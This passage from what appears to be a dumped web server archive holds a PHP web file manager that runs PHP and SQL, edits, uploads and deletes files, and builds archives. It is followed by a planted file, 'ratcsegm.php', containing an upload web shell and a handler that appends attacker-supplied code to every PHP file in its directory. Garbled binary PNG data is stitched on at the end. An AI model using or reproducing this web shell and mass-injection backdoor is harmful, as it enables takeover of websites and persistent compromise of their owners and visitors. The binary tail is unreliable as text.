$path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
}
}
}
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').'
'.$_REQUEST['delete'];
}
}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').'
'.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').'
('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>
';
}
} else {
$msg .= __('Nothing founded');
}
}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').'
'.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file =
str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
.' <a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no
files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="dirname"
size="15">
<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post"
action="<?=$url_inc?>">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text" name="filename"
size="15">
<input type="submit" name="mkfile"
value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post"
action="<?=$url_inc?>"
style="display:inline">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
<input type="submit" name="search"
value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
<input type="hidden" name="path"
value="<?=$path?>" />
<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
<input type="submit" name="test"
value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action=""
method="post">
<input name="quit" type="hidden"
value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit"
value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr>
<th style="white-space:nowrap">
<?=__('Filename')?> </th>
<th style="white-space:nowrap">
<?=__('Size')?> </th>
<th style="white-space:nowrap">
<?=__('Date')?> </th>
<th style="white-space:nowrap">
<?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
$link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder"> </span>
'.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').' zip',__('Archiving').'
'. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').'
'.$file);
$style = 'row2';
if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img"> </span>
'.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file"> </span>
'.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink =
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
$arlink =
in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').'
'. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path .
'\'"';
}
$deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
| <a
href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) &&
is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return
$this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp',
$this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to
').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not
readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.':
<br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is
incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is
incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long
header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
else $header['filename'] =
$path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'],
'wb')) == 0) {
$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) !=
$header['size']) {
$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').'
'.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').':
'.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));
$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);
$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0))
return true;
$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag'])
== '5') $header['size'] = 0;
$header['filename'] =
trim($unpack_data['filename']);
$header['mode'] =
OctDec(trim($unpack_data['mode']));
$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
$header['size'] =
OctDec(trim($unpack_data['size']));
$header['time'] =
OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' '
(space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
}
} else $result = '';
return $result;
}
}
?>PK�{�[���6��ratcsegm.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�x�[�)U���
footer.pngnu�[����PNG
IHDRX("ۄ4sRGB���bKGD������� pHYs��tIME� �!�bIDATx���-NQ��;�bIwQ*
���b]������i@V��!3�Ò�ˏ8G����1_�K[�R�<{V
���@`,���X�
���@`�W#+~�z�����)"w1�Գ�m㡾=����,���i�8�Y�A\�G�ˮ﵉Euuz��,�d@`,���X����;�+&�l�1g�͗Qe����5k�WU)�H�
Yuq}� Ѩl�@j`m��-d��!�R�l 3��N`�V��
7�\��_$��
7��`��-AF�y-�IEND�B`�PK�x�[����XXfooter_black.pngnu�[����PNG
IHDRX(��L�sRGB���bKGD���̿ pHYs��tIME���R��IDATx��� �@E�7��L#����+1u(Z��T�
D�f�s�q� ��w�0�@�,�,@�@��,�@��Gs+�uJ�Yt��U3}֛�E��+[',��@�,�@�h�/݁_t#f��S�QSI��W��+!��W#PK�^v����0q�v�`��n@-���,�Z�Gr�)|��IEND�B`�PK�x�[�f�L��
header.pngnu�[����PNG
IHDRX&��rsRGB���bKGD������� pHYs��tIME�8����cIDATx���Kb�@���� r��)��Lw��l����c���Z#��_?�^9K��!3Y��.a��*�
�
c4
��Y@#��F���oI����I,
��
L�L��2#sI�r��$Q/�%�v��|�a���Z% H���(iaf%��2�li��{�-3+)�K�D$�����K��볞��5�"sμ�0�q�w\��^)�U��Ak��r���k*p5�Ң�����SO��̰�k��2�*if52����w�)����|�.�����%���jbf��Bɽvo�LҦ�d̳ʱ��>�\?d�l)-�ƕ:���u��缜G���Y�%�v��,���r�Fx�f�A���
�S�A5)�~i��]�s�8�T#�E�Ȓ]����e~�(c����e�tt�EX�4��oR��Wm�-_�e�$�y-3:Z��C�b����f&o2r:I��c����EZ�g��7fI�8x\�-�4���a�.�۵rYk���?J�x@GO
혱)a��q�dg��}a�h�<��^�\GIn�Lc�fNkS^�@����-;>���bFZ���/��9/m��j|���G�Ŕ�0��C+�2��ˎ���,#�^���)�'����>b?��}P}��eM���(��[F+�C��g�$iu$��q��sb����
�v�O�잽���Mk}XKʵ�'�<�zyn��P�e�֣�C'[Q��j�/��y\��`)�o�w�o����^�͛��Q[�{7�7{���,v�k#��̂�~��9\�99F��)�;��8Y@�AȻ��n�!��
d4
��F!��P��O��IEND�B`�PK�x�[^Vt+header_black.pngnu�[����PNG
IHDRX&=��� pHYs��~��IDATx���r�0�]���H���N��@h
4��o��$;�D�w��+�.)X��Z/@�t��+�.�J
�BI��%)4cI���hd�H_�^K�N�F.Y�e�|
�`�&�p��17c��Cn�.9��p�d'8�+i�F0�ሀs���v�C}5���V)Hc����kH��ֽ�i����9V�
